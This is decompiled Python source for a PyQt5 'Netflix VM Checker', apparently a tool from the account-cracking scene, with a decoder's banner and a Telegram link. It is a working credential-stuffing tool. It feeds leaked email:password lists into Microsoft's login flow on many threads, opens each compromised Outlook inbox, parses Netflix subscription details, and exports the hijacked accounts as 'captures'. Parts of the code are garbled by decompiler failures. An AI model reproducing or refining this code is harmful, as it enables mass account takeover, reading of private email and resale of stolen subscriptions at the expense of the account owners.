          #--------- DECODE BY OMGSMOK ---------##--------- TELEGRAM : https://t.me/L0n3V0y4g3rS3lL3r---------#"""\nNovaTools Netflix VM Checker\nEmail:Password Checker with Netflix Inbox Parser\nDeveloped by NovaTools\n"""from PyQt5.QtWidgets import *from PyQt5.QtCore import *from PyQt5.QtGui import *import sysimport requestsimport reimport timefrom datetime import datetimefrom concurrent.futures import ThreadPoolExecutorclass NetflixChecker:    """Netflix VM checking engine with inbox parsing"""    def __init__(self):        return    def loginMICROSOFT(self, email, password):        """Login to Microsoft account and get access token"""        try:            session = requests.Session()            url = f'https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_info=1&haschrome=1&login_hint={email}&response_type=code&client_id=e9b154d0-7658-433b-bb25-6b8e0a8a7c59&scope=profile%20openid%20offline_access%20https://outlook.office.com/M365.Access&redirect_uri=msauth%3A%2F%2Fcom.microsoft.outlooklite%2Ffcg80qvoM1YMKJZibjBwQcDfOno%253D'            resp = session.get(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}, timeout=15)            url_match = re.search('urlPost\":\"([^\"]+)\"', resp.text)            ppft_match = re.search('name=\\\\\"PPFT\\\\\" id=\\\\\"i0327\\\\\" value=\\\\\"([^\"]+)\"', resp.text)            if not url_match or not ppft_match:                return {'status': 'BAD'}            else:                url_post = url_match.group(1).replace('\\/', '/')                ppft = ppft_match.group(1)                data = f'i13=1&login={email}&loginfmt={email}&type=11&LoginOptions=1&passwd={password}&ps=2&PPFT={ppft}&PPSX=PassportR&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&i19=9960'                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Origin': 'https://login.live.com', 'Referer': resp.url}                response = session.post(url_post, headers=headers, data=data, allow_redirects=False, timeout=15)                loc = response.headers.get('Location', '')                code_match = re.search('code=([^&]+)', loc)                if not code_match:                    return {'status': 'BAD'}                else:                    code = code_match.group(1)                    token_data = {'client_info': '1', 'client_id': 'e9b154d0-7658-433b-bb25-6b8e0a8a7c59', 'redirect_uri': 'msauth://com.microsoft.outlooklite/fcg80qvoM1YMKJZibjBwQcDfOno%3D', 'grant_type': 'authorization_code', 'code': code, 'scope': 'profile openid offline_access https://outlook.office.com/M365.Access'}                    r = session.post('https://login.microsoftonline.com/consumers/oauth2/v2.0/token', data=token_data, timeout=15)                    if 'access_token' not in r.text:                        return {'status': 'BAD'}                    else:                        access_token = r.json().get('access_token')                        time.sleep(2)                        inbox_result = self.checkNetflixInbox(access_token, code, email, session)                        return inbox_result        except Exception as e:            return {'status': 'ERROR', 'error': str(e)}    def checkNetflixInbox(self, access_token, code, email, session):        """Check inbox for Netflix emails and parse capture info"""        try:            headers = {'x-owa-sessionid': f'{code}', 'authorization': f'Bearer {access_token}', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'action': 'StartupData', 'content-type': 'application/json; charset=utf-8', 'x-owa-urlpost': f'https://outlook.live.com/owa/{email}/startupdata.ashx?app=Mini&n=0'}            r = session.post(f'https://outlook.live.com/owa/{email}/startupdata.ashx?app=Mini&n=0', headers=headers, json={}, timeout=20)            text = r.text.lower()            if 'info@account.netflix.com' not in text and 'netflix' not in text:                return {'status': 'UNLINKED'}            else:                if 'your next billing date' in text or 'your plan' in text or 'your membership' in text:                    capture = self.parseNetflixCapture(text)                    return {'status': 'CAPTURE', 'capture': capture}                else:                    if 'verification code' in text or 'verify' in text:                        return {'status': 'MEMBER'}                    else:                        if 'netflix' in text:                            return {'status': 'MEMBER'}                        else:                            return {'status': 'UNLINKED'}        except Exception as e:            return {'status': 'ERROR', 'error': str(e)}    def parseNetflixCapture(self, text):        """Parse Netflix subscription details from email"""        # ***<module>.NetflixChecker.parseNetflixCapture: Failure: Different bytecode        capture = {'plan': 'Unknown', 'price': 'Unknown', 'date': 'Unknown'}        if 'premium' in text or '4k' in text or 'ultra hd' in text:            capture['plan'] = '4K Premium'        else:            if 'hdr' in text:                capture['plan'] = 'HDR'            else:                if 'standard' in text or '1080p' in text:                    capture['plan'] = 'Standard HD'                else:                    if 'basic' in text or '720p' in text:                        capture['plan'] = 'Basic'        price_patterns = ['\\$(\\d+\\.?\\d*)', '(\\d+\\.?\\d*)\\s*usd', '€(\\d+\\.?\\d*)', '£(\\d+\\.?\\d*)', '(\\d+\\.?\\d*)\\s*per month']        for pattern in price_patterns:            match = re.search(pattern, text)            if match:                capture['price'] = f'${match.group(1)}'                break        date_patterns = ['(\\w+ \\d{1,2}, \\d{4})', '(\\d{1,2}/\\d{1,2}/\\d{4})', '(\\d{4}-\\d{2}-\\d{2})']        for pattern in date_patterns:            match = re.search(pattern, text)            if match:                capture['date'] = match.group(1)                return capture                break        else:            return captureclass CheckerThread(QThread):    """Worker thread for checking"""    log_signal = pyqtSignal(str, str, dict)    stats_signal = pyqtSignal(dict)    progress_signal = pyqtSignal(int, int)    finished_signal = pyqtSignal()    def __init__(self, combos, threads):        super().__init__()        self.combos = combos        self.threads = threads        self.running = True        self.checked = 0        self.stats = {'capture': 0, 'member': 0, 'unlinked': 0, 'bad': 0, 'error': 0}        self.checker = NetflixChecker()    def run(self):        # ***<module>.CheckerThread.run: Failure: Different bytecode        def check_wrapper(combo):            # irreducible cflow, using cdg fallback            # ***<module>.CheckerThread.run.check_wrapper: Failure: Compilation Error            if not self.running:                return            parts = combo.strip().split(':', 1)            if len(parts)!= 2:                return                email, password = (parts[0].strip(), parts[1].strip())                result = self.checker.loginMICROSOFT(email, password)                self.checked += 1                status = result.get('status', 'ERROR')                if status == 'CAPTURE':                    self.stats['capture'] += 1                    self.log_signal.emit('CAPTURE', combo, result.get('capture', {}))                else:                    if status == 'MEMBER':                        self.stats['member'] += 1                        self.log_signal.emit('MEMBER', combo, {})                    else:                        if status == 'UNLINKED':                            self.stats['unlinked'] += 1                            self.log_signal.emit('UNLINKED', combo, {})                        else:                            if status == 'BAD':                                self.stats['bad'] += 1                                self.log_signal.emit('BAD', combo, {})                            else:                                self.stats['error'] += 1                                self.log_signal.emit('ERROR', combo, {})                self.stats_signal.emit(self.stats.copy())                self.progress_signal.emit(self.checked, len(self.combos))                except Exception:                    self.stats['error'] += 1        with ThreadPoolExecutor(max_workers=self.threads) as executor:            executor.map(check_wrapper, self.combos)        self.finished_signal.emit()    def stop(self):        self.running = Falseclass NovaNetflixChecker(QMainWindow):    def __init__(self):        super().__init__()        self.setWindowTitle('NovaTools - Netflix VM Checker')        self.setGeometry(100, 100, 1300, 750)        self.setMinimumSize(1200, 700)        self.colors = {'bg': '#1a1d23', 'panel': '#23262e', 'panel_dark': '#1e2127', 'border': '#2f3640', 'accent': '#e50914', 'success': '#27ae60', 'member': '#3498db', 'warning': '#f39c12', 'danger': '#e74c3c', 'text': '#ecf0f1', 'text_dim': '#7f8c8d'}        self.stats = {'total': 0, 'checked': 0, 'capture': 0, 'member': 0, 'unlinked': 0, 'bad': 0, 'error': 0}        self.capture_list = []        self.member_list = []        self.checking = False        self.start_time = 0        self.worker = None        self.init_ui()    def init_ui(self):        # ***<module>.NovaNetflixChecker.init_ui: Failure: Compilation Error        self.setStyleSheet(f"\n            QMainWindow { background-color: {self.colors['bg']}; }\n            QLabel { color: {self.colors['text']}; }\n            QTextEdit {\n                background-color: {self.colors['panel_dark']};\n                border: 1px solid {self.colors['border']};\n                border-radius: 4px;\n                color: {self.colors['text']};\n                font-family: \'Consolas\', monospace;\n                font-size: 11px;\n                padding: 8px;\n            }\n            QPushButton {\n                background-color: {self.colors['accent']};\n                border: none;\n                border-radius: 4px;\n                color: #fff;\n                font-size: 12px;\n                font-weight: bold;\n                padding: 10px 20px;\n            }\n            QPushButton:hover { background-color: #b20710; }\n            QPushButton:disabled {\n                background-color: {self.colors['accent']};\n                color: {self.colors['text_dim']};\n            }\n            QPushButton#secBtn {\n                background-color: transparent;\n                border: 1px solid {self.colors['accent']};\n            }\n            QPushButton#secBtn:hover {\n                border: 1px solid {self.colors['accent']};\n            }\n            QPushButton#stopBtn { background-color: {self.colors['panel_dark']};\n                border: 1px solid {self.colors['text']};\n                font-size: 12px;\n                padding: 6px;\n                min-width: 80px;\n            }\n            QScrollBar:vertical {\n                background: {self.colors['border']};\n                width: 8px;\n            }\n            QScrollBar::handle:vertical {\n                background: {self.colors['border']};\n                border-radius: 4px;\n            }\n        ")        central = QWidget()        self.setCentralWidget(central)        main = QVBoxLayout(central)        main.setContentsMargins(12, 12, 12, 12)        main.setSpacing(12)        header = QFrame()        header.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        h_layout = QHBoxLayout(header)        h_layout.setContentsMargins(15, 12, 15, 12)        logo = QLabel('NOVATOOLS - #--------- DECODE BY OMGSMOK ---------# ')        logo.setStyleSheet(f"font-size: 20px; font-weight: bold; color: {self.colors['accent']};")        h_layout.addWidget(logo)        subtitle = QLabel('Netflix VM Checker')        subtitle.setStyleSheet(f"font-size: 11px; color: {self.colors['text_dim']};")        h_layout.addWidget(subtitle)        h_layout.addStretch()        main.addWidget(header)        content = QHBoxLayout()        content.setSpacing(12)        left = QVBoxLayout()        stats_frame = QFrame()        stats_frame.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        s_layout = QVBoxLayout(stats_frame)        s_layout.setContentsMargins(15, 12, 15, 12)        stats_title = QLabel('STATISTICS')        stats_title.setStyleSheet(f"font-size: 11px; font-weight: bold; color: {self.colors['text_dim']};")        s_layout.addWidget(stats_title)        stats_grid = QGridLayout()        stats_grid.setSpacing(8)        self.stat_labels = {}        stats_data = [('total', 'Total', self.colors['text'], 0, 0), ('checked', 'Checked', self.colors['accent'], 0, 1), ('capture', 'Capture', self.colors['success'], 0, 2), ('member', 'Member', self.colors['member'], 1, 0), ('unlinked', 'Unlinked', self.colors['warning'], 1, 1), ('bad', 'Bad', self.colors['danger'], 1, 2)]        for key, label, color, row, col in stats_data:            card = QFrame()            card.setStyleSheet(f"QFrame { background-color: {self.colors['panel_dark']}; border-radius: 4px; }")            c_layout = QVBoxLayout(card)            c_layout.setContentsMargins(10, 8, 10, 8)            c_layout.setSpacing(4)            lbl = QLabel(label)            lbl.setStyleSheet(f"font-size: 10px; color: {self.colors['text_dim']};")            lbl.setAlignment(Qt.AlignCenter)            c_layout.addWidget(lbl)            num = QLabel('0')            num.setStyleSheet(f'font-size: 20px; font-weight: bold; color: {color};')            num.setAlignment(Qt.AlignCenter)            c_layout.addWidget(num)            self.stat_labels[key] = num            stats_grid.addWidget(card, row, col)        s_layout.addLayout(stats_grid)        left.addWidget(stats_frame)        prog_frame = QFrame()        prog_frame.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        p_layout = QVBoxLayout(prog_frame)        p_layout.setContentsMargins(15, 12, 15, 12)        p_top = QHBoxLayout()        self.status_label = QLabel('? IDLE')        self.status_label.setStyleSheet(f"font-size: 11px; color: {self.colors['text_dim']};")        p_top.addWidget(self.status_label)        p_top.addStretch()        self.progress_pct = QLabel('0%')        self.progress_pct.setStyleSheet(f"font-size: 14px; font-weight: bold; color: {self.colors['accent']};")        p_top.addWidget(self.progress_pct)        p_layout.addLayout(p_top)        self.progress_bar = QProgressBar()        self.progress_bar.setTextVisible(False)        p_layout.addWidget(self.progress_bar)        p_bottom = QHBoxLayout()        self.progress_detail = QLabel('0 / 0')        self.progress_detail.setStyleSheet(f"font-size: 10px; color: {self.colors['text_dim']};")        p_bottom.addWidget(self.progress_detail)        p_bottom.addStretch()        self.cpm_label = QLabel('0 CPM')        self.cpm_label.setStyleSheet(f"font-size: 10px; color: {self.colors['text_dim']};")        p_bottom.addWidget(self.cpm_label)        p_layout.addLayout(p_bottom)        left.addWidget(prog_frame)        results_frame = QFrame()        results_frame.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        r_layout = QVBoxLayout(results_frame)        r_layout.setContentsMargins(15, 12, 15, 12)        r_header = QHBoxLayout()        results_title = QLabel('RESULTS')        results_title.setStyleSheet(f"font-size: 11px; font-weight: bold; color: {self.colors['text_dim']};")        r_header.addWidget(results_title)        r_header.addStretch()        export_btn = QPushButton('?? Export')        export_btn.setObjectName('secBtn')        export_btn.setMaximumWidth(100)        export_btn.clicked.connect(self.export_results)        r_header.addWidget(export_btn)        r_layout.addLayout(r_header)        self.results_text = QTextEdit()        self.results_text.setReadOnly(True)        r_layout.addWidget(self.results_text)        left.addWidget(results_frame)        content.addLayout(left, 7)        right = QVBoxLayout()        controls_frame = QFrame()        controls_frame.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        c_layout = QVBoxLayout(controls_frame)        c_layout.setContentsMargins(15, 12, 15, 12)        controls_title = QLabel('CONTROLS')        controls_title.setStyleSheet(f"font-size: 11px; font-weight: bold; color: {self.colors['text_dim']};")        c_layout.addWidget(controls_title)        thread_layout = QHBoxLayout()        thread_label = QLabel('Threads:')        thread_label.setStyleSheet('font-size: 11px;')        thread_layout.addWidget(thread_label)        self.thread_spin = QSpinBox()        self.thread_spin.setMinimum(1)        self.thread_spin.setMaximum(50)        self.thread_spin.setValue(5)        thread_layout.addWidget(self.thread_spin)        thread_layout.addStretch()        c_layout.addLayout(thread_layout)        self.start_btn = QPushButton('? START')        self.start_btn.clicked.connect(self.start_check)        c_layout.addWidget(self.start_btn)        self.stop_btn = QPushButton('? STOP')        self.stop_btn.setObjectName('stopBtn')        self.stop_btn.setEnabled(False)        self.stop_btn.clicked.connect(self.stop_check)        c_layout.addWidget(self.stop_btn)        import_btn = QPushButton('?? Import Database')        import_btn.setObjectName('secBtn')        import_btn.clicked.connect(self.import_database)        c_layout.addWidget(import_btn)        clear_btn = QPushButton('?? Clear')        clear_btn.setObjectName('secBtn')        clear_btn.clicked.connect(self.clear_all)        c_layout.addWidget(clear_btn)        c_layout.addStretch()        right.addWidget(controls_frame)        info_frame = QFrame()        info_frame.setStyleSheet(f"QFrame { background-color: {self.colors['panel']}; border-radius: 6px; }")        i_layout = QVBoxLayout(info_frame)        i_layout.setContentsMargins(15, 12, 15, 12)        info_title = QLabel('INFO')        info_title.setStyleSheet(f"font-size: 11px; font-weight: bold; color: {self.colors['text_dim']};")        i_layout.addWidget(info_title)        info_text = QLabel('Netflix VM Checker\n\n• Capture: Subscription details\n• Member: Only verification code\n• Unlinked: No Netflix email\n\nFormat: email:password\n\nDeveloped by NovaTools')        info_text.setStyleSheet(f"font-size: 10px; color: {self.colors['text_dim']}; line-height: 1.6;")        info_text.setWordWrap(True)        i_layout.addWidget(info_text)        i_layout.addStretch()        right.addWidget(info_frame)        content.addLayout(right, 3)        main.addLayout(content)        self.add_log('Netflix VM Checker ready', 'INFO')    def add_log(self, message, log_type, capture=None):        timestamp = datetime.now().strftime('%H:%M:%S')        colors = {'CAPTURE': self.colors['success'], 'MEMBER': self.colors['member'], 'UNLINKED': self.colors['warning'], 'BAD': self.colors['text_dim'], 'ERROR': self.colors['danger'], 'INFO': self.colors['accent']}        color = colors.get(log_type, self.colors['text'])        if capture and log_type == 'CAPTURE':            msg = f"[{timestamp}] [{log_type}] {message} | Plan: {capture.get('plan', 'Unknown')} | Price: {capture.get('price', 'Unknown')} | Date: {capture.get('date', 'Unknown')}"        else:            msg = f'[{timestamp}] [{log_type}] {message}'        self.results_text.append(f'<span style=\"color: {color};\">{msg}</span>')    def update_stats(self):        for key in self.stat_labels:            self.stat_labels[key].setText(str(self.stats.get(key, 0)))    def import_database(self):        filepath, _ = QFileDialog.getOpenFileName(self, 'Import Database', '', 'Text Files (*.txt);;All Files (*)')        if filepath:            try:                with open(filepath, 'r', encoding='utf-8') as f:                    combos = [l.strip() for l in f.readlines() if ':' in l]                self.stats['total'] = len(combos)                self.combos = combos                self.update_stats()                self.add_log(f'Loaded {len(combos)} combos', 'INFO')            except Exception as e:                QMessageBox.critical(self, 'Error', f'Failed to load: {str(e)}')    def clear_all(self):        self.results_text.clear()        self.stats = {k: 0 for k in self.stats}        self.capture_list = []        self.member_list = []        self.combos = []        self.update_stats()        self.add_log('Cleared', 'INFO')    def start_check(self):        if self.checking:            return        else:            if not hasattr(self, 'combos') or not self.combos:                QMessageBox.critical(self, 'Error', 'Please import a database first!')                return            else:                self.checking = True                self.start_btn.setEnabled(False)                self.stop_btn.setEnabled(True)                self.status_label.setText('? RUNNING')                self.status_label.setStyleSheet(f"font-size: 11px; color: {self.colors['success']};")                self.start_time = time.time()                threads = self.thread_spin.value()                self.add_log(f'Started - {len(self.combos)} combos | {threads} threads', 'INFO')                self.worker = CheckerThread(self.combos, threads)                self.worker.log_signal.connect(self.on_log)                self.worker.stats_signal.connect(self.on_stats)                self.worker.progress_signal.connect(self.on_progress)                self.worker.finished_signal.connect(self.on_finished)                self.worker.start()    def stop_check(self):        if self.worker:            self.worker.stop()        self.add_log('Stopping...', 'INFO')    def on_log(self, log_type, combo, capture):        email = combo.split(':')[0]        if log_type == 'CAPTURE':            self.capture_list.append({'combo': combo, 'capture': capture})            self.add_log(f'{email}', 'CAPTURE', capture)        else:            if log_type == 'MEMBER':                self.member_list.append(combo)                self.add_log(f'{email} - Member (verification only)', 'MEMBER')    def on_stats(self, stats):        self.stats.update(stats)        self.stats['checked'] = sum([stats.get(k, 0) for k in ['capture', 'member', 'unlinked', 'bad', 'error']])        self.update_stats()    def on_progress(self, checked, total):        progress = int(checked / total * 100) if total > 0 else 0        self.progress_bar.setValue(progress)        self.progress_pct.setText(f'{progress}%')        self.progress_detail.setText(f'{checked} / {total}')        elapsed = time.time() - self.start_time        cpm = int(checked / elapsed * 60) if elapsed > 0 else 0        self.cpm_label.setText(f'{cpm} CPM')    def on_finished(self):        self.checking = False        self.start_btn.setEnabled(True)        self.stop_btn.setEnabled(False)        self.status_label.setText('? COMPLETED')        self.status_label.setStyleSheet(f"font-size: 11px; color: {self.colors['success']};")        self.add_log(f"Finished! {self.stats['capture']} captures | {self.stats['member']} members", 'INFO')    def export_results(self):        if not self.capture_list and (not self.member_list):            QMessageBox.information(self, 'Info', 'No results to export!')            return        else:            filepath, _ = QFileDialog.getSaveFileName(self, 'Save Results', f"Netflix_Results_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt", 'Text Files (*.txt)')            if filepath:                try:                    with open(filepath, 'w', encoding='utf-8') as f:                        f.write('======================================================================\n')                        f.write('  NovaTools Netflix VM Checker - Results\n')                        f.write('======================================================================\n\n')                        if self.capture_list:                            f.write(f'CAPTURES ({len(self.capture_list)}):\n')                            f.write('----------------------------------------------------------------------\n')                            for item in self.capture_list:                                cap = item['capture']                                f.write(f"{item['combo']} | Plan: {cap.get('plan', 'Unknown')} | Price: {cap.get('price', 'Unknown')} | Date: {cap.get('date', 'Unknown')}\n")                            f.write('\n')                        if self.member_list:                            f.write(f'MEMBERS ({len(self.member_list)}):\n')                            f.write('----------------------------------------------------------------------\n')                            for combo in self.member_list:                                f.write(combo + '\n')                    QMessageBox.information(self, 'Success', f'Exported {len(self.capture_list)} captures and {len(self.member_list)} members!')                    self.add_log('Exported results', 'INFO')                except Exception as e:                    QMessageBox.critical(self, 'Error', f'Export failed: {str(e)}')def main():    app = QApplication(sys.argv)    app.setStyle('Fusion')    palette = QPalette()    palette.setColor(QPalette.Window, QColor(26, 29, 35))    palette.setColor(QPalette.WindowText, Qt.white)    palette.setColor(QPalette.Base, QColor(30, 33, 39))    palette.setColor(QPalette.Text, Qt.white)    palette.setColor(QPalette.Button, QColor(35, 38, 46))    palette.setColor(QPalette.ButtonText, Qt.white)    app.setPalette(palette)    window = NovaNetflixChecker()    window.show()    sys.exit(app.exec_())if __name__ == '__main__':    main()